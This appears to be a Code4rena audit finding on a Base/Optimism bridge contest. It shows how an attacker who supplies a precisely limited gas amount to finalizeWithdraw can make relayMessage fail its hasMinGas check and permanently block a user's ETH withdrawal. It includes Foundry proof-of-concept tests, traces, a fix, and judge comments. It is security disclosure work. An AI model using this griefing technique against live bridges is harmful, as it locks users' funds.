Platform: Code4rena
Start Date: 26/05/2023
Pot Size: $100,000 USDC
Total HM: 0
Participants: 33
Period: 14 days
Judge: leastwood
Id: 241
League: ETH
Rank: 4/33
Findings: 1
Award: $8,029.15
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rbserver
Also found by: 0x73696d616f, 0xTheC0der, 0xdeadbeef, 0xhacksmithh, Bauchibred, GalloDaSballo, KKat7531, Madalad, MohammedRizwan, Rolezn, SAAJ, SanketKogekar, Sathish9098, VictoryGod, brgltd, btk, codeslide, descharre, hunter_w3b, jauvany, kaveyjoe, ladboy233, nadin, niser93, shealtielanz, souilos, trysam2003, yongskiws
8029.1527 USDC - $8,029.15
Permissionless block user's withdrawal with precision amount of gas to make sure SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) is false
In the january audit
we have this finding
Malicious user can finalize other’s withdrawal with less than specified gas limit, leading to loss of funds
https://github.com/sherlock-audit/2023-01-optimism-judging/issues/109
and this finding
https://github.com/sherlock-audit/2023-01-optimism-judging/issues/96
Withdrawals with high gas limits can be bricked by a malicious user, permanently locking funds
saying the amonut of gas passed in is less than minGas amount which user specified because of the 1/64 rule - EIP-150.
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md
the solution that optimism implement
bool success = SafeCall.callWithMinGas(_tx.target, _tx.gasLimit, _tx.value, _tx.data);
which calls:
function callWithMinGas( address _target, uint256 _minGas, uint256 _value, bytes memory _calldata ) internal returns (bool) {
this code check that the gas passed in is at least large than the minGas user specified and take the 1/64 rule in consideration
However, in the current implementation, the protocol move the gas check before the low level call
// If there is not enough gas left to perform the external call and finish the execution, // return early and assign the message to the failedMessages mapping. // We are asserting that we have enough gas to: // 1. Call the target contract (_minGasLimit + RELAY_CALL_OVERHEAD + RELAY_GAS_CHECK_BUFFER) // 1.a. The RELAY_CALL_OVERHEAD is included in `hasMinGas`. // 2. Finish the execution after the external call (RELAY_RESERVED_GAS). // // If `xDomainMsgSender` is not the default L2 sender, this function // is being re-entered. This marks the message as failed to allow it to be replayed. if ( !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) || xDomainMsgSender != Constants.DEFAULT_L2_SENDER ) { failedMessages[versionedHash] = true; emit FailedRelayedMessage(versionedHash); // Revert in this case if the transaction was triggered by the estimation address. This // should only be possible during gas estimation or we have bigger problems. Reverting // here will make the behavior of gas estimation change such that the gas limit // computed will be the amount required to relay the message, even if that amount is // greater than the minimum gas limit specified by the user. if (tx.origin == Constants.ESTIMATION_ADDRESS) { revert("CrossDomainMessenger: failed to relay message"); } return; } xDomainMsgSender = _sender; bool success = SafeCall.call(_target, gasleft() - RELAY_RESERVED_GAS, _value, _message); xDomainMsgSender = Constants.DEFAULT_L2_SENDER;
first, we need to know that if this line of code does not run, the ETH withdrawal is never finalized
bool success = SafeCall.call(_target, gasleft() - RELAY_RESERVED_GAS, _value, _message);
if the transaction stop executing or revert below the line of code above, the user never get ETH
how to let the transaction stop executing before the line of code above?
if ( !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) || xDomainMsgSender != Constants.DEFAULT_L2_SENDER ) { failedMessages[versionedHash] = true; emit FailedRelayedMessage(versionedHash); // Revert in this case if the transaction was triggered by the estimation address. This // should only be possible during gas estimation or we have bigger problems. Reverting // here will make the behavior of gas estimation change such that the gas limit // computed will be the amount required to relay the message, even if that amount is // greater than the minimum gas limit specified by the user. if (tx.origin == Constants.ESTIMATION_ADDRESS) { revert("CrossDomainMessenger: failed to relay message"); } return; }
this check means if the gasleft() does not have enough min gas, just mark the transaction failed and stop executing
if ( !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) || xDomainMsgSender != Constants.DEFAULT_L2_SENDER ) { failedMessages[versionedHash] = true; emit FailedRelayedMessage(versionedHash);
the hacker can do exactly what the code say:
make sure the gasleft() does not have enough min gas and then the code just return to permissionlessly block user's withdrawal
how does the math work?
function hasMinGas(uint256 _minGas, uint256 _reservedGas) internal view returns (bool) { bool _hasMinGas; assembly { // Equation: gas × 63 ≥ minGas × 64 + 63(40_000 + reservedGas) _hasMinGas := iszero( lt(mul(gas(), 63), add(mul(_minGas, 64), mul(add(40000, _reservedGas), 63))) ) } return _hasMinGas; }
see equation:
gas × 63 ≥ minGas × 64 + 63(40_000 + reservedGas)
we want this function to return false
gas ≥ (minGas × 64 + 63(40_000 + reservedGas)) / 63
the reservedGas is RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER, which is 80000 WEI
and we know
gas ≥ (minGas × 64 + 63(40_000 + 80_000)) / 63
which is
gas ≥ (minGas × 64 + 63 * 120_000) / 63
the hacker need to make sure
gas < (minGas × 64 + 63 * 120_000) / 63
we can put any minGas in to get the precise amount of gas that hacker need to supply to not make the withrawal finalized
the POC repo is here:
https://drive.google.com/file/d/1z94qUrTYiNVeLNrK1KN7BV6BS-smn0Kd/view?usp=sharing
we want to console.log the info for debugging:
console.log("line 320 ----"); console.log('how many gas left?', gasleft()); console.log("has min gas", SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER)); console.log("------"); if ( !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) ) { failedMessages[versionedHash] = true; emit FailedRelayedMessage(versionedHash); return; } xDomainMsgSender = _sender; bool success = SafeCall.call(_target, gasleft() - RELAY_RESERVED_GAS, _value, _message);
I will only cover the test:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "../src/Exploit.sol"; import "../src/RelayMessagerReentrancy.sol"; import "../src/Portal.sol"; import "forge-std/console.sol"; contract CounterTest is Test { RelayMessagerReentrancy messager = new RelayMessagerReentrancy(address(this)); Exploit exploit = new Exploit(address(messager)); Portal portal = new Portal(address(messager)); uint256 nonce = 1; address sender = address(this); address target = address(exploit); uint256 value = 0; uint256 minGasLimit = 100000000 wei; function createMessage() public returns (bytes memory) { bytes memory message = abi.encodeWithSelector( Exploit.call.selector, messager, 3, sender, target, 0, minGasLimit ); return message; } function setUp() public { } function testHasEnoughGas() public { address bob = address(1231231243); console.log("bob's balance before"); console.log(bob.balance); uint256 minGasLimit = 30000 wei; address sender = address(this); address target = bob; bytes memory message = abi.encodeWithSelector( '0x', messager, 4, sender, target, 1 ether, minGasLimit ); bytes memory messageRelayer = abi.encodeWithSelector( RelayMessagerReentrancy.relayMessage.selector, 4, sender, target, 1 ether, minGasLimit, message ); portal.finalizeWithdraw{value: 1 ether, gas: 10000000 wei}(minGasLimit, 1 ether, messageRelayer); console.log("bob's balance after the function call"); console.log(bob.balance); } function testHasNotEnoughGas() public { address bob = address(1231231243); console.log("bob's balance before"); console.log(bob.balance); uint256 minGasLimit = 30000 wei; address sender = address(this); address target = bob; bytes memory message = abi.encodeWithSelector( '0x', messager, 4, sender, target, 1 ether, minGasLimit ); bytes memory messageRelayer = abi.encodeWithSelector( RelayMessagerReentrancy.relayMessage.selector, 4, sender, target, 1 ether, minGasLimit, message ); portal.finalizeWithdraw{value: 1 ether, gas: 100000 wei}(minGasLimit, 1 ether, messageRelayer); console.log("bob's balance after the function call"); console.log(bob.balance); } }
we are running the POC
forge test -vvv
the output is
Running 2 tests for test/Counter.t.sol:CounterTest [PASS] testHasEnoughGas() (gas: 139119) Logs: bob's balance before 0 0x2e1a7d4d 0x00735de6 line 320 ---- how many gas left? 9799825 has min gas true ------ gas left after externall call 9738622 gas needed after external call 25039 success after finalize withdraw???? true bob's balance after the function call 1000000000000000000 [PASS] testHasNotEnoughGas() (gas: 99804) Logs: bob's balance before 0 0x2e1a7d4d 0x00735de6 line 320 ---- how many gas left? 54513 has min gas false ------ success after finalize withdraw???? true bob's balance after the function call 0 Test result: ok. 2 passed; 0 failed; finished in 1.79ms
we set the minGas to 30000
plug in the equalation
gas < (minGas × 64 + 63 * 120_000) / 63
when gas is less than 150476 wei,
ETH withdrawal is never finalized
then in the first call
portal.finalizeWithdraw{value: 1 ether, gas: 10000000 wei}(minGasLimit, 1 ether, messageRelayer);
we are suppling 10000000 wei of gas, then see the console.log
line 320 ---- how many gas left? 9799825 has min gas true ------
the has min gas check passed,
while in the second call,
portal.finalizeWithdraw{value: 1 ether, gas: 100000 wei}(minGasLimit, 1 ether, messageRelayer);
we only supply 100000 wei of gas
and the console.log
line 320 ---- how many gas left? 54513 has min gas false
before the actually ETH transfer low level call, the execution stops
Manual Review, Foundry
We recommend the protocol just call
xDomainMsgSender = _sender; bool success = SafeCall.callWithMinGas(_target, _minGasLimit, _value, _message); xDomainMsgSender = Constants.DEFAULT_L2_SENDER;
Invalid Validation
#0 - c4-judge
2023-06-16T15:13:34Z
0xleastwood marked the issue as primary issue
#1 - c4-judge
2023-06-16T15:35:23Z
0xleastwood marked the issue as satisfactory
#2 - c4-judge
2023-06-16T16:14:02Z
0xleastwood marked the issue as selected for report
#3 - c4-sponsor
2023-06-21T20:59:55Z
anupsv requested judge review
#4 - anupsv
2023-06-21T20:59:59Z
Expound on the PoC such that it demonstrates L2 to L1 transaction, then make the call causing it to fail on L1.
#5 - itsmetechjay
2023-06-26T17:54:40Z
@JeffCX can you please provide a PoC based on the sponsor's request?
#6 - JeeberC4
2023-06-27T15:31:13Z
@JeffCX please provide POC within 24 hours.
#7 - JeffCX
2023-06-27T23:29:14Z
Before review the POC, it is important to be crystal clear about the function call order:
https://gist.github.com/JeffCX/42f13cedd60f3be3d4caee0c6bb65765
Here is my POC:
The fully runnable POC zip can be downloaded and executed, it is a new folder
https://drive.google.com/file/d/1SoWASLW8ky8dK1_-bvFhg6yWEy5-MqQr/view?usp=sharing
the POC code is here:
https://gist.github.com/JeffCX/fac07ae605cd378f2953017c994fbd94
the relevant coded POC is:
function testNormalFinalizeWithdrawalWorks() public { uint32 minGasLimit = 1000000 wei; // L2 Start bridging ETH deal(alice, 1 ether); vm.prank(alice); l2bridge.bridgeETH{value: 1 ether}(minGasLimit , ""); address from = alice; address to = alice; uint256 amount = 1 ether; bytes memory _extraData = ""; bytes memory BridgeData = l2bridge.generateBridgeCallData( from, to, amount, minGasLimit, _extraData ); bytes memory portalData = l2CrossDomainMessenger.generateCallData( address(l1Bridge), BridgeData, minGasLimit ); uint256 balance = address(alice).balance; l1Portal.finalizeWithdraw{gas: 20000000 wei}( minGasLimit, amount, portalData ); uint256 afterBalance = address(alice).balance; // expect get 1 ether; console.log('alice balance should be 1 ether', afterBalance - balance); } function test_Permissionless_Block_FinalizeWithdrawal_Min_Gas_Return_False() public { uint32 minGasLimit = 1000000 wei; // L2 Start bridging ETH deal(alice, 1 ether); vm.prank(alice); l2bridge.bridgeETH{value: 1 ether}(minGasLimit , ""); address from = alice; address to = alice; uint256 amount = 1 ether; bytes memory _extraData = ""; bytes memory BridgeData = l2bridge.generateBridgeCallData( from, to, amount, minGasLimit, _extraData ); bytes memory portalData = l2CrossDomainMessenger.generateCallData( address(l1Bridge), BridgeData, minGasLimit ); uint256 balance = address(alice).balance; l1Portal.finalizeWithdraw{gas: 1100000}( minGasLimit, amount, portalData ); uint256 afterBalance = address(alice).balance; // expect get 1 ether; console.log('alice balance should be 1 ether', afterBalance - balance); // try again with normal gas amount, transaction revert l1Portal.finalizeWithdraw{gas: 2000000}( minGasLimit, amount, portalData ); }
one thing to note, we added some console.log for debugging purpose:
console.log("line 320 ----"); console.log('how many gas left?', gasleft()); console.log("has min gas", SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER)); console.log("------"); if ( !SafeCall.hasMinGas(_minGasLimit, RELAY_RESERVED_GAS + RELAY_GAS_CHECK_BUFFER) || xDomainMsgSender != DEFAULT_L2_SENDER ) { failedMessages[versionedHash] = true; emit Debug(210); emit FailedRelayedMessage(versionedHash); // Revert in this case if the transaction was triggered by the estimation address. This // should only be possible during gas estimation or we have bigger problems. Reverting // here will make the behavior of gas estimation change such that the gas limit // computed will be the amount required to relay the message, even if that amount is // greater than the minimum gas limit specified by the user. if (tx.origin == ESTIMATION_ADDRESS) { revert("CrossDomainMessenger: failed to relay message"); } return; }
to run the POC
first we run:
forge test -vvvv --match testNormalFinalizeWithdrawalWorks
we use vvvv to get the full event emission
[PASS] testNormalFinalizeWithdrawalWorks() (gas: 207111) Logs: line 320 ---- how many gas left? 19638503 has min gas true ------ success after finalize withdraw???? true alice balance should be 1 ether 1000000000000000000 Traces: [207111] CounterTest::testNormalFinalizeWithdrawalWorks() ├─ [0] VM::deal(0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 1000000000000000000) │ └─ ← () ├─ [0] VM::prank(0xBC0B7b343230Da311A16ff45759c31A945CD4E76) │ └─ ← () ├─ [39841] L2StandardBridge::bridgeETH{value: 1000000000000000000}(1000000, 0x) │ ├─ [24101] L2CrossDomainMessenger::sendMessage{value: 1000000000000000000}(L1StandardBridge: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000, 1000000) │ │ ├─ [8895] L2ToL1MessagePasser::initiateWithdrawal{value: 1000000000000000000}(L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1303497, 0xd764ad0b0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000a0cb889707d426a7a386870a03bc70d1b06975980000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) │ │ │ ├─ emit MessagePassed(nonce: 1, sender: L2CrossDomainMessenger: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], target: L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 1000000000000000000, gasLimit: 1303497, data: 0xd764ad0b0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000a0cb889707d426a7a386870a03bc70d1b06975980000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, withdrawalHash: 0x6861736800000000000000000000000000000000000000000000000000000000) │ │ │ └─ ← () │ │ └─ ← () │ └─ ← () ├─ [2148] L2StandardBridge::generateBridgeCallData(0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 1000000000000000000, 1000000, 0x) │ └─ ← 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000 ├─ [2703] L2CrossDomainMessenger::generateCallData(L1StandardBridge: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000, 1000000) │ └─ ← 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ├─ [128907] L1Portal::finalizeWithdraw(1000000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) │ ├─ [91492] L1CrossDomainMeseenger::relayMessage{value: 1000000000000000000}(1, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], L1StandardBridge: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1000000000000000000, 1000000, 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000) │ │ ├─ [0] console::log(line 320 ----) [staticcall] │ │ │ └─ ← () │ │ ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000012ba8e70000000000000000000000000000000000000000000000000000000000000012686f77206d616e7920676173206c6566743f0000000000000000000000000000) [staticcall] │ │ │ └─ ← () │ │ ├─ [0] console::log(has min gas, true) [staticcall] │ │ │ └─ ← () │ │ ├─ [0] console::log(------) [staticcall] │ │ │ └─ ← () │ │ ├─ [35322] L1StandardBridge::finalizeBridgeETH{value: 1000000000000000000}(0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 1000000000000000000, 0x) │ │ │ ├─ emit ETHBridgeFinalized(from: 0xBC0B7b343230Da311A16ff45759c31A945CD4E76, to: 0xBC0B7b343230Da311A16ff45759c31A945CD4E76, amount: 1000000000000000000, extraData: 0x) │ │ │ ├─ [0] 0xBC0B7b343230Da311A16ff45759c31A945CD4E76::fallback{value: 1000000000000000000}() │ │ │ │ └─ ← () │ │ │ └─ ← () │ │ ├─ emit RelayedMessage(msgHash: 0xc0dc43a9195feb002562b08c9b38ede16500f6f27f3eb3cd0be1708d26b2de83) │ │ └─ ← () │ ├─ [0] console::log(success after finalize withdraw????) [staticcall] │ │ └─ ← () │ ├─ [0] console::log(true) [staticcall] │ │ └─ ← () │ └─ ← () ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000001f616c6963652062616c616e63652073686f756c64206265203120657468657200) [staticcall] │ └─ ← () └─ ← ()
we are calling L1Portal::finalizeWithdraw -> L1CrossDomainMeseenger::relayMessage ->L1StandardBridge::finalizeBridgeETH
and we successfully help user finalize the withdraw
this is expected
However, if we run the POC (the attack and exploit)
forge test -vvvv --match test_Permissionless_Block_FinalizeWithdrawal_Min_Gas_Return_False
the output is
PS D:\2023Security\2023-05-base\poc-for-2023-06-base> forge test -vvvv --match test_Permissionless_Block_FinalizeWithdrawal_Min_Gas_Return_False [⠆] Compiling... No files changed, compilation skipped Running 1 test for test/Counter.t.sol:CounterTest [FAIL. Reason: OptimismPortal: withdrawal has already been finalized] test_Permissionless_Block_FinalizeWithdrawal_Min_Gas_Return_False() (gas: 164599) Logs: line 320 ---- how many gas left? 1033816 has min gas false ------ success after finalize withdraw???? true alice balance should be 1 ether 0 Traces: [2380662] CounterTest::setUp() ├─ [183226] → new L1StandardBridge@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f │ └─ ← 915 bytes of code ├─ [96] L1StandardBridge::receiveETH{value: 10000000000000000000}() │ └─ ← () ├─ [689850] → new L1CrossDomainMeseenger@0x2e234DAe75C793f67A35089C9d99245E1C58470b │ └─ ← 2781 bytes of code ├─ [239006] → new L1Portal@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a │ └─ ← 1082 bytes of code ├─ [0] VM::deal(L1Portal: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 10000000000000000000) │ └─ ← () ├─ [109559] → new L2ToL1MessagePasser@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9 │ └─ ← 547 bytes of code ├─ [458593] → new L2CrossDomainMessenger@0xc7183455a4C133Ae270771860664b6B7ec320bB1 │ └─ ← 2178 bytes of code ├─ [360771] → new L2StandardBridge@0xa0Cb889707d426A7A386870A03bc70d1b0697598 │ └─ ← 1579 bytes of code └─ ← () [164599] CounterTest::test_Permissionless_Block_FinalizeWithdrawal_Min_Gas_Return_False() ├─ [0] VM::deal(0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 1000000000000000000) │ └─ ← () ├─ [0] VM::prank(0xBC0B7b343230Da311A16ff45759c31A945CD4E76) │ └─ ← () ├─ [39841] L2StandardBridge::bridgeETH{value: 1000000000000000000}(1000000, 0x) │ ├─ [24101] L2CrossDomainMessenger::sendMessage{value: 1000000000000000000}(L1StandardBridge: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000, 1000000) │ │ ├─ [8895] L2ToL1MessagePasser::initiateWithdrawal{value: 1000000000000000000}(L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1303497, 0xd764ad0b0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000a0cb889707d426a7a386870a03bc70d1b06975980000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) │ │ │ ├─ emit MessagePassed(nonce: 1, sender: L2CrossDomainMessenger: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], target: L1CrossDomainMeseenger: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 1000000000000000000, gasLimit: 1303497, data: 0xd764ad0b0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000a0cb889707d426a7a386870a03bc70d1b06975980000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, withdrawalHash: 0x6861736800000000000000000000000000000000000000000000000000000000) │ │ │ └─ ← () │ │ └─ ← () │ └─ ← () ├─ [2148] L2StandardBridge::generateBridgeCallData(0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 0xBC0B7b343230Da311A16ff45759c31A945CD4E76, 1000000000000000000, 1000000, 0x) │ └─ ← 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000 ├─ [2703] L2CrossDomainMessenger::generateCallData(L1StandardBridge: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000, 1000000) │ └─ ← 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ├─ [82130] L1Portal::finalizeWithdraw(1000000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) │ ├─ [44715] L1CrossDomainMeseenger::relayMessage{value: 1000000000000000000}(1, CounterTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], L1StandardBridge: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 1000000000000000000, 1000000, 0x1635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000) │ │ ├─ [0] console::log(line 320 ----) [staticcall] │ │ │ └─ ← () │ │ ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000fc6580000000000000000000000000000000000000000000000000000000000000012686f77206d616e7920676173206c6566743f0000000000000000000000000000) [staticcall] │ │ │ └─ ← () │ │ ├─ [0] console::log(has min gas, false) [staticcall] │ │ │ └─ ← () │ │ ├─ [0] console::log(------) [staticcall] │ │ │ └─ ← () │ │ ├─ emit Debug(line: 210) │ │ ├─ emit FailedRelayedMessage(msgHash: 0xc0dc43a9195feb002562b08c9b38ede16500f6f27f3eb3cd0be1708d26b2de83) │ │ └─ ← () │ ├─ [0] console::log(success after finalize withdraw????) [staticcall] │ │ └─ ← () │ ├─ [0] console::log(true) [staticcall] │ │ └─ ← () │ └─ ← () ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001f616c6963652062616c616e63652073686f756c64206265203120657468657200) [staticcall] │ └─ ← () ├─ [2596] L1Portal::finalizeWithdraw(1000000, 1000000000000000000, 0xd764ad0b00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000005615deb798bb3e4dfa0139dfa1b3d433cc23b72f0000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000a41635f5fd000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e76000000000000000000000000bc0b7b343230da311a16ff45759c31a945cd4e760000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) │ └─ ← "OptimismPortal: withdrawal has already been finalized" └─ ← "OptimismPortal: withdrawal has already been finalized" 